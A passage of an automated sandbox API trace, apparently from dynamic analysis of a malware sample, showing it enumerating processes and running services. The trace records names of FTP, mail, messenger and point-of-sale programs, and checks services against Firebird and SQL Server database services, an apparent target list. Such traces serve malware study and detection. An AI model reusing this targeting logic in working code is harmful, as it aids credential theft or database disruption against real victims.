th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0064.011] lstrlenW (lpString="far.exe") returned 7 [0064.012] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0064.013] lstrlenW (lpString="filezilla.exe") returned 13 [0064.013] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0064.014] lstrlenW (lpString="flashfxp.exe") returned 12 [0064.014] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0064.015] lstrlenW (lpString="fling.exe") returned 9 [0064.015] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0064.016] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0064.016] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0064.017] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0064.017] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0064.018] lstrlenW (lpString="icq.exe") returned 7 [0064.018] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0064.019] lstrlenW (lpString="leechftp.exe") returned 12 [0064.019] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0064.020] lstrlenW (lpString="ncftp.exe") returned 9 [0064.020] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0064.021] lstrlenW (lpString="notepad.exe") returned 11 [0064.021] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0064.022] lstrlenW (lpString="operamail.exe") returned 13 [0064.022] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0064.023] lstrlenW (lpString="pidgin.exe") returned 10 [0064.023] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0064.023] lstrlenW (lpString="scriptftp.exe") returned 13 [0064.023] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0064.024] lstrlenW (lpString="skype.exe") returned 9 [0064.024] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0064.025] lstrlenW (lpString="smartftp.exe") returned 12 [0064.025] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0064.026] lstrlenW (lpString="thunderbird.exe") returned 15 [0064.026] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0064.027] lstrlenW (lpString="totalcmd.exe") returned 12 [0064.027] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0064.028] lstrlenW (lpString="trillian.exe") returned 12 [0064.028] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0064.029] lstrlenW (lpString="webdrive.exe") returned 12 [0064.029] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0064.029] lstrlenW (lpString="whatsapp.exe") returned 12 [0064.029] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0064.030] lstrlenW (lpString="winscp.exe") returned 10 [0064.030] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0064.031] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0064.031] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0064.032] lstrlenW (lpString="active-charge.exe") returned 17 [0064.032] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0064.033] lstrlenW (lpString="accupos.exe") returned 11 [0064.033] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0064.033] lstrlenW (lpString="afr38.exe") returned 9 [0064.033] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0064.034] lstrlenW (lpString="aldelo.exe") returned 10 [0064.034] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0064.035] lstrlenW (lpString="ccv_server.exe") returned 14 [0064.035] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0064.036] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0064.036] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0064.036] lstrlenW (lpString="creditservice.exe") returned 17 [0064.037] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0064.037] lstrlenW (lpString="edcsvr.exe") returned 10 [0064.037] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0064.038] lstrlenW (lpString="fpos.exe") returned 8 [0064.038] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0064.039] lstrlenW (lpString="isspos.exe") returned 10 [0064.039] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0064.039] lstrlenW (lpString="mxslipstream.exe") returned 16 [0064.040] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0064.518] lstrlenW (lpString="omnipos.exe") returned 11 [0064.519] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0064.519] lstrlenW (lpString="spcwin.exe") returned 10 [0064.519] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1084, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0064.520] lstrlenW (lpString="spgagentservice.exe") returned 19 [0064.520] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0064.521] lstrlenW (lpString="utg2.exe") returned 8 [0064.521] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hygiene_ppm.exe")) returned 1 [0064.521] lstrlenW (lpString="hygiene_ppm.exe") returned 15 [0064.521] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="glow be.exe")) returned 1 [0064.522] lstrlenW (lpString="glow be.exe") returned 11 [0064.522] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects_pixel_academics.exe")) returned 1 [0064.523] lstrlenW (lpString="prospects_pixel_academics.exe") returned 29 [0064.523] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="contains roles was.exe")) returned 1 [0064.523] lstrlenW (lpString="contains roles was.exe") returned 22 [0064.524] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0064.524] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0064.524] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0064.525] lstrlenW (lpString="taskhostw.exe") returned 13 [0064.525] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0064.526] lstrlenW (lpString="taskhostw.exe") returned 13 [0064.526] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0064.526] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0064.526] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0064.527] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0064.527] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="sc.exe")) returned 1 [0064.528] lstrlenW (lpString="sc.exe") returned 6 [0064.528] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0064.528] lstrlenW (lpString="UsoClient.exe") returned 13 [0064.528] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0064.529] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0064.529] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0064.530] lstrlenW (lpString="conhost.exe") returned 11 [0064.530] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1204, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0064.530] lstrlenW (lpString="conhost.exe") returned 11 [0064.530] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11fc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0064.531] lstrlenW (lpString="conhost.exe") returned 11 [0064.531] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.531] lstrlenW (lpString="svchost.exe") returned 11 [0064.531] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0064.532] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0064.532] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.533] lstrlenW (lpString="svchost.exe") returned 11 [0064.533] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x118c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0064.533] lstrlenW (lpString="cmd.exe") returned 7 [0064.533] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x510, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0064.534] lstrlenW (lpString="conhost.exe") returned 11 [0064.534] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x510, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0064.534] CloseHandle (hObject=0x330) returned 1 [0064.534] Sleep (dwMilliseconds=0x1f4) [0065.653] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4cef18 [0065.653] EnumServicesStatusExW (in: hSCManager=0x4cef18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 0 [0065.654] GetLastError () returned 0xea [0065.654] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1d5a) returned 0x3e3ba78 [0065.654] EnumServicesStatusExW (in: hSCManager=0x4cef18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3e3ba78, cbBufSize=0x1d5a, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3e3ba78, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 1 [0065.655] CloseServiceHandle (hSCObject=0x4cef18) returned 1 [0065.655] lstrlenW (lpString="Appinfo") returned 7 [0065.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0065.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0065.655] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0065.655] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0065.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0065.655] lstrlenW (lpString="AppXSvc") returned 7 [0065.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0065.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0065.656] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0065.656] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0065.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0065.656] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0065.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0065.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0065.656] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0065.656] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0065.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0065.656] lstrlenW (lpString="Audiosrv") returned 8 [0065.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0065.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0065.656] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0065.656] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0065.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0065.656] lstrlenW (lpString="BFE") returned 3 [0065.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0065.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0065.656] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0065.656] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0065.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0065.656] lstrlenW (lpString="BITS") returned 4 [0065.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0065.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0065.656] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0065.656] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0065.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0065.656] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0065.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0065.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0065.656] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0065.656] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0065.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0065.657] lstrlenW (lpString="CDPSvc") returned 6 [0065.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0065.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0065.657] 